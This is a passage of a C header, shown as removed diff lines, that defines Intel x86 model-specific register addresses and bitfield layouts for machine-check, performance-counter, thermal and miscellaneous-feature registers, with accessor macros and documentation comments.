Machine Check Status. - * - * @remarks 06_01H - */ -#define IA32_MCG_STATUS 0x0000017A -typedef union -{ - struct - { - /** - * [Bit 0] Restart IP valid. - * - * @remarks 06_01H - */ - uint64_t ripv : 1; -#define IA32_MCG_STATUS_RIPV_BIT 0 -#define IA32_MCG_STATUS_RIPV_FLAG 0x01 -#define IA32_MCG_STATUS_RIPV_MASK 0x01 -#define IA32_MCG_STATUS_RIPV(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Error IP valid. - * - * @remarks 06_01H - */ - uint64_t eipv : 1; -#define IA32_MCG_STATUS_EIPV_BIT 1 -#define IA32_MCG_STATUS_EIPV_FLAG 0x02 -#define IA32_MCG_STATUS_EIPV_MASK 0x01 -#define IA32_MCG_STATUS_EIPV(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Machine check in progress. - * - * @remarks 06_01H - */ - uint64_t mcip : 1; -#define IA32_MCG_STATUS_MCIP_BIT 2 -#define IA32_MCG_STATUS_MCIP_FLAG 0x04 -#define IA32_MCG_STATUS_MCIP_MASK 0x01 -#define IA32_MCG_STATUS_MCIP(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] If IA32_MCG_CAP.LMCE_P[27] = 1. - */ - uint64_t lmce_s : 1; -#define IA32_MCG_STATUS_LMCE_S_BIT 3 -#define IA32_MCG_STATUS_LMCE_S_FLAG 0x08 -#define IA32_MCG_STATUS_LMCE_S_MASK 0x01 -#define IA32_MCG_STATUS_LMCE_S(_) (((_) >> 3) & 0x01) - uint64_t reserved1 : 60; - }; - - uint64_t flags; -} ia32_mcg_status_register; - - -/** - * Global Machine Check Control. - * - * @remarks If IA32_MCG_CAP.CTL_P[8] = 1 - */ -#define IA32_MCG_CTL 0x0000017B - /** - * @defgroup ia32_perfevtsel \ - * IA32_PERFEVTSEL(n) - * - * Performance Event Select Register n. - * - * @remarks If CPUID.0AH: EAX[15:8] > n - * @{ - */ -#define IA32_PERFEVTSEL0 0x00000186 -#define IA32_PERFEVTSEL1 0x00000187 -#define IA32_PERFEVTSEL2 0x00000188 -#define IA32_PERFEVTSEL3 0x00000189 -typedef union -{ - struct - { - /** - * [Bits 7:0] Selects a performance event logic unit. - */ - uint64_t event_select : 8; -#define IA32_PERFEVTSEL_EVENT_SELECT_BIT 0 -#define IA32_PERFEVTSEL_EVENT_SELECT_FLAG 0xFF -#define IA32_PERFEVTSEL_EVENT_SELECT_MASK 0xFF -#define IA32_PERFEVTSEL_EVENT_SELECT(_) (((_) >> 0) & 0xFF) - - /** - * [Bits 15:8] Qualifies the microarchitectural condition to detect on the selected event logic. - */ - uint64_t u_mask : 8; -#define IA32_PERFEVTSEL_U_MASK_BIT 8 -#define IA32_PERFEVTSEL_U_MASK_FLAG 0xFF00 -#define IA32_PERFEVTSEL_U_MASK_MASK 0xFF -#define IA32_PERFEVTSEL_U_MASK(_) (((_) >> 8) & 0xFF) - - /** - * [Bit 16] Counts while in privilege level is not ring 0. - */ - uint64_t usr : 1; -#define IA32_PERFEVTSEL_USR_BIT 16 -#define IA32_PERFEVTSEL_USR_FLAG 0x10000 -#define IA32_PERFEVTSEL_USR_MASK 0x01 -#define IA32_PERFEVTSEL_USR(_) (((_) >> 16) & 0x01) - - /** - * [Bit 17] Counts while in privilege level is ring 0. - */ - uint64_t os : 1; -#define IA32_PERFEVTSEL_OS_BIT 17 -#define IA32_PERFEVTSEL_OS_FLAG 0x20000 -#define IA32_PERFEVTSEL_OS_MASK 0x01 -#define IA32_PERFEVTSEL_OS(_) (((_) >> 17) & 0x01) - - /** - * [Bit 18] Enables edge detection if set. - */ - uint64_t edge : 1; -#define IA32_PERFEVTSEL_EDGE_BIT 18 -#define IA32_PERFEVTSEL_EDGE_FLAG 0x40000 -#define IA32_PERFEVTSEL_EDGE_MASK 0x01 -#define IA32_PERFEVTSEL_EDGE(_) (((_) >> 18) & 0x01) - - /** - * [Bit 19] Enables pin control. - */ - uint64_t pc : 1; -#define IA32_PERFEVTSEL_PC_BIT 19 -#define IA32_PERFEVTSEL_PC_FLAG 0x80000 -#define IA32_PERFEVTSEL_PC_MASK 0x01 -#define IA32_PERFEVTSEL_PC(_) (((_) >> 19) & 0x01) - - /** - * [Bit 20] Enables interrupt on counter overflow. - */ - uint64_t intr : 1; -#define IA32_PERFEVTSEL_INTR_BIT 20 -#define IA32_PERFEVTSEL_INTR_FLAG 0x100000 -#define IA32_PERFEVTSEL_INTR_MASK 0x01 -#define IA32_PERFEVTSEL_INTR(_) (((_) >> 20) & 0x01) - - /** - * [Bit 21] When set to 1, it enables counting the associated event conditions occurring across all logical processors - * sharing a processor core. When set to 0, the counter only increments the associated event conditions occurring in the - * logical processor which programmed the MSR. - */ - uint64_t any_thread : 1; -#define IA32_PERFEVTSEL_ANY_THREAD_BIT 21 -#define IA32_PERFEVTSEL_ANY_THREAD_FLAG 0x200000 -#define IA32_PERFEVTSEL_ANY_THREAD_MASK 0x01 -#define IA32_PERFEVTSEL_ANY_THREAD(_) (((_) >> 21) & 0x01) - - /** - * [Bit 22] Enables the corresponding performance counter to commence counting when this bit is set. - */ - uint64_t en : 1; -#define IA32_PERFEVTSEL_EN_BIT 22 -#define IA32_PERFEVTSEL_EN_FLAG 0x400000 -#define IA32_PERFEVTSEL_EN_MASK 0x01 -#define IA32_PERFEVTSEL_EN(_) (((_) >> 22) & 0x01) - - /** - * [Bit 23] Invert the CMASK. - */ - uint64_t inv : 1; -#define IA32_PERFEVTSEL_INV_BIT 23 -#define IA32_PERFEVTSEL_INV_FLAG 0x800000 -#define IA32_PERFEVTSEL_INV_MASK 0x01 -#define IA32_PERFEVTSEL_INV(_) (((_) >> 23) & 0x01) - - /** - * [Bits 31:24] When CMASK is not zero, the corresponding performance counter increments each cycle if the event count is - * greater than or equal to the CMASK. - */ - uint64_t cmask : 8; -#define IA32_PERFEVTSEL_CMASK_BIT 24 -#define IA32_PERFEVTSEL_CMASK_FLAG 0xFF000000 -#define IA32_PERFEVTSEL_CMASK_MASK 0xFF -#define IA32_PERFEVTSEL_CMASK(_) (((_) >> 24) & 0xFF) - uint64_t reserved1 : 32; - }; - - uint64_t flags; -} ia32_perfevtsel_register; - -/** - * @} - */ - - - /** - * Current Performance Status. - * - * @remarks 0F_03H - * @see Vol3B[14.1.1(Software Interface For Initiating Performance State Transitions)] - */ -#define IA32_PERF_STATUS 0x00000198 -typedef union -{ - struct - { - /** - * [Bits 15:0] Current performance State Value. - */ - uint64_t state_value : 16; -#define IA32_PERF_STATUS_STATE_VALUE_BIT 0 -#define IA32_PERF_STATUS_STATE_VALUE_FLAG 0xFFFF -#define IA32_PERF_STATUS_STATE_VALUE_MASK 0xFFFF -#define IA32_PERF_STATUS_STATE_VALUE(_) (((_) >> 0) & 0xFFFF) - uint64_t reserved1 : 48; - }; - - uint64_t flags; -} ia32_perf_status_register; - - -/** - * @brief Performance Control (R/W) - * - * Performance Control. Software makes a request for a new Performance state (P-State) by writing this MSR. - * - * @remarks 0F_03H - * @see Vol3B[14.1.1(Software Interface For Initiating Performance State Transitions)] - */ -#define IA32_PERF_CTL 0x00000199 -typedef union -{ - struct - { - /** - * [Bits 15:0] Target performance State Value. - */ - uint64_t target_state_value : 16; -#define IA32_PERF_CTL_TARGET_STATE_VALUE_BIT 0 -#define IA32_PERF_CTL_TARGET_STATE_VALUE_FLAG 0xFFFF -#define IA32_PERF_CTL_TARGET_STATE_VALUE_MASK 0xFFFF -#define IA32_PERF_CTL_TARGET_STATE_VALUE(_) (((_) >> 0) & 0xFFFF) - uint64_t reserved1 : 16; - - /** - * [Bit 32] IDA Engage. - * - * @remarks 06_0FH (Mobile only) - */ - uint64_t ida_engage : 1; -#define IA32_PERF_CTL_IDA_ENGAGE_BIT 32 -#define IA32_PERF_CTL_IDA_ENGAGE_FLAG 0x100000000 -#define IA32_PERF_CTL_IDA_ENGAGE_MASK 0x01 -#define IA32_PERF_CTL_IDA_ENGAGE(_) (((_) >> 32) & 0x01) - uint64_t reserved2 : 31; - }; - - uint64_t flags; -} ia32_perf_ctl_register; - - -/** - * Clock Modulation Control. - * - * @remarks If CPUID.01H:EDX[22] = 1 - * @see Vol3B[14.7.3(Software Controlled Clock Modulation)] - */ -#define IA32_CLOCK_MODULATION 0x0000019A -typedef union -{ - struct - { - /** - * [Bit 0] Extended On-Demand Clock Modulation Duty Cycle. - * - * @remarks If CPUID.06H:EAX[5] = 1 - */ - uint64_t extended_on_demand_clock_modulation_duty_cycle : 1; -#define IA32_CLOCK_MODULATION_EXTENDED_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_BIT 0 -#define IA32_CLOCK_MODULATION_EXTENDED_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_FLAG 0x01 -#define IA32_CLOCK_MODULATION_EXTENDED_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_MASK 0x01 -#define IA32_CLOCK_MODULATION_EXTENDED_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE(_) (((_) >> 0) & 0x01) - - /** - * @brief On-Demand Clock Modulation Duty Cycle - * - * [Bits 3:1] On-Demand Clock Modulation Duty Cycle: Specific encoded values for target duty cycle modulation. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t on_demand_clock_modulation_duty_cycle : 3; -#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_BIT 1 -#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_FLAG 0x0E -#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_MASK 0x07 -#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE(_) (((_) >> 1) & 0x07) - - /** - * @brief On-Demand Clock Modulation Enable - * - * [Bit 4] On-Demand Clock Modulation Enable: Set 1 to enable modulation. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t on_demand_clock_modulation_enable : 1; -#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_ENABLE_BIT 4 -#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_ENABLE_FLAG 0x10 -#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_ENABLE_MASK 0x01 -#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_ENABLE(_) (((_) >> 4) & 0x01) - uint64_t reserved1 : 59; - }; - - uint64_t flags; -} ia32_clock_modulation_register; - - -/** - * @brief Thermal Interrupt Control (R/W) - * - * Thermal Interrupt Control. Enables and disables the generation of an interrupt on temperature transitions detected with - * the processor's thermal sensors and thermal monitor. - * - * @remarks If CPUID.01H:EDX[22] = 1 - * @see Vol3B[14.7.2(Thermal Monitor)] - */ -#define IA32_THERM_INTERRUPT 0x0000019B -typedef union -{ - struct - { - /** - * [Bit 0] High-Temperature Interrupt Enable. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t high_temperature_interrupt_enable : 1; -#define IA32_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_BIT 0 -#define IA32_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x01 -#define IA32_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Low-Temperature Interrupt Enable. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t low_temperature_interrupt_enable : 1; -#define IA32_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_BIT 1 -#define IA32_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x02 -#define IA32_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] PROCHOT\# Interrupt Enable. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t prochot_interrupt_enable : 1; -#define IA32_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_BIT 2 -#define IA32_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_FLAG 0x04 -#define IA32_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] FORCEPR\# Interrupt Enable. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t forcepr_interrupt_enable : 1; -#define IA32_THERM_INTERRUPT_FORCEPR_INTERRUPT_ENABLE_BIT 3 -#define IA32_THERM_INTERRUPT_FORCEPR_INTERRUPT_ENABLE_FLAG 0x08 -#define IA32_THERM_INTERRUPT_FORCEPR_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_THERM_INTERRUPT_FORCEPR_INTERRUPT_ENABLE(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Critical Temperature Interrupt Enable. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t critical_temperature_interrupt_enable : 1; -#define IA32_THERM_INTERRUPT_CRITICAL_TEMPERATURE_INTERRUPT_ENABLE_BIT 4 -#define IA32_THERM_INTERRUPT_CRITICAL_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x10 -#define IA32_THERM_INTERRUPT_CRITICAL_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_THERM_INTERRUPT_CRITICAL_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 4) & 0x01) - uint64_t reserved1 : 3; - - /** - * [Bits 14:8] Threshold \#1 Value - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t threshold1_value : 7; -#define IA32_THERM_INTERRUPT_THRESHOLD1_VALUE_BIT 8 -#define IA32_THERM_INTERRUPT_THRESHOLD1_VALUE_FLAG 0x7F00 -#define IA32_THERM_INTERRUPT_THRESHOLD1_VALUE_MASK 0x7F -#define IA32_THERM_INTERRUPT_THRESHOLD1_VALUE(_) (((_) >> 8) & 0x7F) - - /** - * [Bit 15] Threshold \#1 Interrupt Enable. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t threshold1_interrupt_enable : 1; -#define IA32_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_BIT 15 -#define IA32_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_FLAG 0x8000 -#define IA32_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE(_) (((_) >> 15) & 0x01) - - /** - * [Bits 22:16] Threshold \#2 Value. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t threshold2_value : 7; -#define IA32_THERM_INTERRUPT_THRESHOLD2_VALUE_BIT 16 -#define IA32_THERM_INTERRUPT_THRESHOLD2_VALUE_FLAG 0x7F0000 -#define IA32_THERM_INTERRUPT_THRESHOLD2_VALUE_MASK 0x7F -#define IA32_THERM_INTERRUPT_THRESHOLD2_VALUE(_) (((_) >> 16) & 0x7F) - - /** - * [Bit 23] Threshold \#2 Interrupt Enable. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t threshold2_interrupt_enable : 1; -#define IA32_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_BIT 23 -#define IA32_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_FLAG 0x800000 -#define IA32_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE(_) (((_) >> 23) & 0x01) - - /** - * [Bit 24] Power Limit Notification Enable. - * - * @remarks If CPUID.06H:EAX[4] = 1 - */ - uint64_t power_limit_notification_enable : 1; -#define IA32_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_BIT 24 -#define IA32_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_FLAG 0x1000000 -#define IA32_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_MASK 0x01 -#define IA32_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE(_) (((_) >> 24) & 0x01) - uint64_t reserved2 : 39; - }; - - uint64_t flags; -} ia32_therm_interrupt_register; - - -/** - * @brief Thermal Status Information (RO) - * - * Thermal Status Information. Contains status information about the processor's thermal sensor and automatic thermal - * monitoring facilities. - * - * @remarks If CPUID.01H:EDX[22] = 1 - * @see Vol3B[14.7.2(Thermal Monitor)] - */ -#define IA32_THERM_STATUS 0x0000019C -typedef union -{ - struct - { - /** - * [Bit 0] Thermal Status - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t thermal_status : 1; -#define IA32_THERM_STATUS_THERMAL_STATUS_BIT 0 -#define IA32_THERM_STATUS_THERMAL_STATUS_FLAG 0x01 -#define IA32_THERM_STATUS_THERMAL_STATUS_MASK 0x01 -#define IA32_THERM_STATUS_THERMAL_STATUS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Thermal Status Log - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t thermal_status_log : 1; -#define IA32_THERM_STATUS_THERMAL_STATUS_LOG_BIT 1 -#define IA32_THERM_STATUS_THERMAL_STATUS_LOG_FLAG 0x02 -#define IA32_THERM_STATUS_THERMAL_STATUS_LOG_MASK 0x01 -#define IA32_THERM_STATUS_THERMAL_STATUS_LOG(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] PROCHOT \# or FORCEPR\# event - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t prochot_forcepr_event : 1; -#define IA32_THERM_STATUS_PROCHOT_FORCEPR_EVENT_BIT 2 -#define IA32_THERM_STATUS_PROCHOT_FORCEPR_EVENT_FLAG 0x04 -#define IA32_THERM_STATUS_PROCHOT_FORCEPR_EVENT_MASK 0x01 -#define IA32_THERM_STATUS_PROCHOT_FORCEPR_EVENT(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] PROCHOT \# or FORCEPR\# log - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t prochot_forcepr_log : 1; -#define IA32_THERM_STATUS_PROCHOT_FORCEPR_LOG_BIT 3 -#define IA32_THERM_STATUS_PROCHOT_FORCEPR_LOG_FLAG 0x08 -#define IA32_THERM_STATUS_PROCHOT_FORCEPR_LOG_MASK 0x01 -#define IA32_THERM_STATUS_PROCHOT_FORCEPR_LOG(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Critical Temperature Status - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t critical_temperature_status : 1; -#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_BIT 4 -#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_FLAG 0x10 -#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_MASK 0x01 -#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Critical Temperature Status log - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t critical_temperature_status_log : 1; -#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_BIT 5 -#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_FLAG 0x20 -#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_MASK 0x01 -#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Thermal Threshold \#1 Status - * - * @remarks If CPUID.01H:ECX[8] = 1 - */ - uint64_t thermal_threshold1_status : 1; -#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_BIT 6 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_FLAG 0x40 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_MASK 0x01 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_STATUS(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Thermal Threshold \#1 log - * - * @remarks If CPUID.01H:ECX[8] = 1 - */ - uint64_t thermal_threshold1_log : 1; -#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_LOG_BIT 7 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_LOG_FLAG 0x80 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_LOG_MASK 0x01 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_LOG(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] Thermal Threshold \#2 Status - * - * @remarks If CPUID.01H:ECX[8] = 1 - */ - uint64_t thermal_threshold2_status : 1; -#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_BIT 8 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_FLAG 0x100 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_MASK 0x01 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_STATUS(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] Thermal Threshold \#2 log - * - * @remarks If CPUID.01H:ECX[8] = 1 - */ - uint64_t thermal_threshold2_log : 1; -#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_LOG_BIT 9 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_LOG_FLAG 0x200 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_LOG_MASK 0x01 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_LOG(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] Power Limitation Status - * - * @remarks If CPUID.06H:EAX[4] = 1 - */ - uint64_t power_limitation_status : 1; -#define IA32_THERM_STATUS_POWER_LIMITATION_STATUS_BIT 10 -#define IA32_THERM_STATUS_POWER_LIMITATION_STATUS_FLAG 0x400 -#define IA32_THERM_STATUS_POWER_LIMITATION_STATUS_MASK 0x01 -#define IA32_THERM_STATUS_POWER_LIMITATION_STATUS(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] Power Limitation log - * - * @remarks If CPUID.06H:EAX[4] = 1 - */ - uint64_t power_limitation_log : 1; -#define IA32_THERM_STATUS_POWER_LIMITATION_LOG_BIT 11 -#define IA32_THERM_STATUS_POWER_LIMITATION_LOG_FLAG 0x800 -#define IA32_THERM_STATUS_POWER_LIMITATION_LOG_MASK 0x01 -#define IA32_THERM_STATUS_POWER_LIMITATION_LOG(_) (((_) >> 11) & 0x01) - - /** - * [Bit 12] Current Limit Status - * - * @remarks If CPUID.06H:EAX[7] = 1 - */ - uint64_t current_limit_status : 1; -#define IA32_THERM_STATUS_CURRENT_LIMIT_STATUS_BIT 12 -#define IA32_THERM_STATUS_CURRENT_LIMIT_STATUS_FLAG 0x1000 -#define IA32_THERM_STATUS_CURRENT_LIMIT_STATUS_MASK 0x01 -#define IA32_THERM_STATUS_CURRENT_LIMIT_STATUS(_) (((_) >> 12) & 0x01) - - /** - * [Bit 13] Current Limit log - * - * @remarks If CPUID.06H:EAX[7] = 1 - */ - uint64_t current_limit_log : 1; -#define IA32_THERM_STATUS_CURRENT_LIMIT_LOG_BIT 13 -#define IA32_THERM_STATUS_CURRENT_LIMIT_LOG_FLAG 0x2000 -#define IA32_THERM_STATUS_CURRENT_LIMIT_LOG_MASK 0x01 -#define IA32_THERM_STATUS_CURRENT_LIMIT_LOG(_) (((_) >> 13) & 0x01) - - /** - * [Bit 14] Cross Domain Limit Status - * - * @remarks If CPUID.06H:EAX[7] = 1 - */ - uint64_t cross_domain_limit_status : 1; -#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_STATUS_BIT 14 -#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_STATUS_FLAG 0x4000 -#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_STATUS_MASK 0x01 -#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_STATUS(_) (((_) >> 14) & 0x01) - - /** - * [Bit 15] Cross Domain Limit log - * - * @remarks If CPUID.06H:EAX[7] = 1 - */ - uint64_t cross_domain_limit_log : 1; -#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_LOG_BIT 15 -#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_LOG_FLAG 0x8000 -#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_LOG_MASK 0x01 -#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_LOG(_) (((_) >> 15) & 0x01) - - /** - * [Bits 22:16] Digital Readout - * - * @remarks If CPUID.06H:EAX[0] = 1 - */ - uint64_t digital_readout : 7; -#define IA32_THERM_STATUS_DIGITAL_READOUT_BIT 16 -#define IA32_THERM_STATUS_DIGITAL_READOUT_FLAG 0x7F0000 -#define IA32_THERM_STATUS_DIGITAL_READOUT_MASK 0x7F -#define IA32_THERM_STATUS_DIGITAL_READOUT(_) (((_) >> 16) & 0x7F) - uint64_t reserved1 : 4; - - /** - * [Bits 30:27] Resolution in Degrees Celsius - * - * @remarks If CPUID.06H:EAX[0] = 1 - */ - uint64_t resolution_in_degrees_celsius : 4; -#define IA32_THERM_STATUS_RESOLUTION_IN_DEGREES_CELSIUS_BIT 27 -#define IA32_THERM_STATUS_RESOLUTION_IN_DEGREES_CELSIUS_FLAG 0x78000000 -#define IA32_THERM_STATUS_RESOLUTION_IN_DEGREES_CELSIUS_MASK 0x0F -#define IA32_THERM_STATUS_RESOLUTION_IN_DEGREES_CELSIUS(_) (((_) >> 27) & 0x0F) - - /** - * [Bit 31] Reading Valid - * - * @remarks If CPUID.06H:EAX[0] = 1 - */ - uint64_t reading_valid : 1; -#define IA32_THERM_STATUS_READING_VALID_BIT 31 -#define IA32_THERM_STATUS_READING_VALID_FLAG 0x80000000 -#define IA32_THERM_STATUS_READING_VALID_MASK 0x01 -#define IA32_THERM_STATUS_READING_VALID(_) (((_) >> 31) & 0x01) - uint64_t reserved2 : 32; - }; - - uint64_t flags; -} ia32_therm_status_register; - - -/** - * @brief Enable Misc. Processor Features (R/W) - * - * Allows a variety of processor functions to be enabled and disabled. - */ -#define IA32_MISC_ENABLE 0x000001A0 -typedef union -{ - struct - { - /** - * @brief Fast-Strings Enable - * - * [Bit 0] When set, the fast-strings feature (for REP MOVS and REP STORS) is enabled (default). When clear, fast-strings - * are disabled. - * - * @remarks 0F_0H - */ - uint64_t fast_strings_enable : 1; -#define IA32_MISC_ENABLE_FAST_STRINGS_ENABLE_BIT 0 -#define IA32_MISC_ENABLE_FAST_STRINGS_ENABLE_FLAG 0x01 -#define IA32_MISC_ENABLE_FAST_STRINGS_ENABLE_MASK 0x01 -#define IA32_MISC_ENABLE_FAST_STRINGS_ENABLE(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 2; - - /** - * @brief Automatic Thermal Control Circuit Enable (R/W) - * - * [Bit 3] - 1 = Setting this bit enables the thermal control circuit (TCC) portion of the Intel Thermal Monitor feature. - * This allows the processor to automatically reduce power consumption in response to TCC activation. - * - 0 = Disabled. - * - * @note In some products clearing this bit might be ignored in critical thermal conditions, and TM1, TM2 and adaptive - * thermal throttling will still be activated. The default value of this field varies with product. - * @remarks 0F_0H - */ - uint64_t automatic_thermal_control_circuit_enable : 1; -#define IA32_MISC_ENABLE_AUTOMATIC_THERMAL_CONTROL_CIRCUIT_ENABLE_BIT 3 -#define IA32_MISC_ENABLE_AUTOMATIC_THERMAL_CONTROL_CIRCUIT_ENABLE_FLAG 0x08 -#define IA32_MISC_ENABLE_AUTOMATIC_THERMAL_CONTROL_CIRCUIT_ENABLE_MASK 0x01 -#define IA32_MISC_ENABLE_AUTOMATIC_THERMAL_CONTROL_CIRCUIT_ENABLE(_) (((_) >> 3) & 0x01) - uint64_t reserved2 : 3; - - /** - * @brief Performance Monitoring Available (R) - * - * [Bit 7] - 1 = Performance monitoring enabled. - * - 0 = Performance monitoring disabled. - * - * @remarks 0F_0H - */ - uint64_t performance_monitoring_available : 1; -#define IA32_MISC_ENABLE_PERFORMANCE_MONITORING_AVAILABLE_BIT 7 -#define IA32_MISC_ENABLE_PERFORMANCE_MONITORING_AVAILABLE_FLAG 0x80 -#define IA32_MISC_ENABLE_PERFORMANCE_MONITORING_AVAILABLE_MASK 0x01 -#define IA32_MISC_ENABLE_PERFORMANCE_MONITORING_AVAILABLE(_) (((_) >> 7) & 0x01) - uint64_t reserved3 : 3; - - /** - * @brief Branch Trace Storage Unavailable (RO) - * - * [Bit 11] - 1 = Processor doesn't support branch trace storage (BTS). - * - 0 = BTS is supported. - * - * @remarks 0F_0H - */ - uint64_t branch_trace_storage_unavailable : 1; -#define IA32_MISC_ENABLE_BRANCH_TRACE_STORAGE_UNAVAILABLE_BIT 11 -#define IA32_MISC_ENABLE_BRANCH_TRACE_STORAGE_UNAVAILABLE_FLAG 0x800 -#define IA32_MISC_ENABLE_BRANCH_TRACE_STORAGE_UNAVAILABLE_MASK 0x01 -#define IA32_MISC_ENABLE_BRANCH_TRACE_STORAGE_UNAVAILABLE(_) (((_) >> 11) & 0x01) - - /** - * @brief Processor Event Based Sampling (PEBS) Unavailable (RO) - * - * [Bit 12] - 1 = PEBS is not supported. - * - 0 = PEBS is supported. - * - * @remarks 06_0FH - */ - uint64_t 